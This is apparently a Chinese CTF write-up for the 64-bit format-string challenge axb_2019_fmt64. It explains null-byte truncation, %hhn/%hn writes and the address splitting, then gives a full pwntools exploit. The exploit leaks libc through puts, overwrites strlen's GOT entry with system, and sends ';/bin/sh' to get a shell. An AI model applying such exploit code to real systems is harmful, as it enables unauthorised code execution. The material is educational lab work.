输入偏移为8这里就不给大家演示了,下面介绍本题折磨我许久的几个点
背景:
64位\x00截断:
32位的泄露地址可以用整个payload :payload = p32(泄露地址) + %偏移$x 来构建,但是64位不行
如果这样写,前面的地址数据经p64()打包后占的是8个字节,我们send 的地址和我们构造的格式化字符串中间还有好多个 ‘00’ ,而在字符串中 ‘00’ 就代表了结束,所以在printf到‘00’时,就被认为字符串已经结束了,自然不会继续往后面printf了,也即是说我们的字符串都被’00’给截断了
payload=b'%9$saaaa'+p64(puts_got)#####先输入‘aaaa'避免0截断
难点1:
到这里为止,应该对%k$n有一定的了解了,还是那个原则,%k$n前面有多少个字节,那么就会向第k个参数地址中写多少
payload=b'%'+str(system_high-9).encode('utf-8')+b'c%12$hhn'+b'%'+str(system_low-
#############填入地址值大小的字节个数#############覆盖指定位置
system_high).encode('utf-8')+b'c%13$hn'
payload=payload.ljust(32,b'a')####初始偏移为8,填充为了凑整前面输入占4位偏移
payload+=p64(strlen_addr+2)+p64(strlen_addr)
str(system_high-9),str(system_low-system_high)以及程序自带的9个字节为输出的内容,%hhn不算
到这里为止,应该对%k$n有一定的了解了,还是那个原则,%k$n前面有多少个字节,那么就会向第k个参数地址中写多少
难点2:写入地址的计算看下图:
好好说话之格式化字符串漏洞利用_利用格式化字符串漏洞修改变量值-CSDN博客
插入hollk师傅的文章
难点3:分别计算高地址和低地址
[BUUCTF-axb_2019_fmt64 - -ro0t - 博客园 (cnblogs.com)](https://www.cnblogs.com/sakura-zz/articles/16266299.html) 再次插入大师傅的文章
只有后面3字节不同,截取倒数第三字节和后两字节进行修改
system_addr=libc_base+libc.symbols['system']
system_low=system_addr &0xffff
#################与运算(对于0xffff而言)的目的就是保留低字节的内容,而删去高字节。
system_high=system_addr >>16 &0xff########右移十六位高字节到低字节
exp:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64',os='linux')
io = process('./axb_2019_fmt64')
#io=remote("node5.buuoj.cn",27306)
elf = ELF("./axb_2019_fmt64")
libc=elf.libc
#libc=ELF('/home/ctfshow/Desktop/libc-2.23.so')
def debug():
gdb.attach(io)
pause()
puts_got = elf.got['puts']
sprintf_got = elf.got["sprintf"]
strlen_addr = elf.got["strlen"]
print(hex(puts_got))
io.recvuntil(b'Please tell me:')
payload=b'%9$saaaa'+p64(puts_got)
io.send(payload)
io.recvuntil(b'Repeater:')
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
log.success('puts_addr{}'.format(hex(puts_addr)))
#libc=LibcSearcher('puts',puts_addr)
#libc_base=puts_addr-libc.dump('puts')
libc_base=puts_addr-libc.symbols['puts']
log.success('libc_base{}'.format(hex(libc_base)))
#system_addr=libc_base+libc.dump('system')
system_addr=libc_base+libc.symbols['system']
system_low=system_addr &0xffff
system_high=system_addr >>16 &0xff
log.success('system_addr{}'.format(hex(system_addr)))
log.success('system_low{}'.format(hex(system_low)))
log.success('system_hign{}'.format(hex(system_high)))
payload=b'%'+str(system_high-9).encode('utf-8')+b'c%12$hhn'+b'%'+str(system_low-system_high).encode('utf-8')+b'c%13$hn'
payload=payload.ljust(32,b'a')
payload+=p64(strlen_addr+2)+p64(strlen_addr)
debug()
io.send(payload)
#payload2 = "%" + str(high_sys - 9) + "c%12$hhn" + "%" + str(low_sys - high_sys) + "c%13$hn"
io.recvuntil(b'Please tell me:')
payload=b';/bin/sh\x00'
io.send(payload)
io.interactive()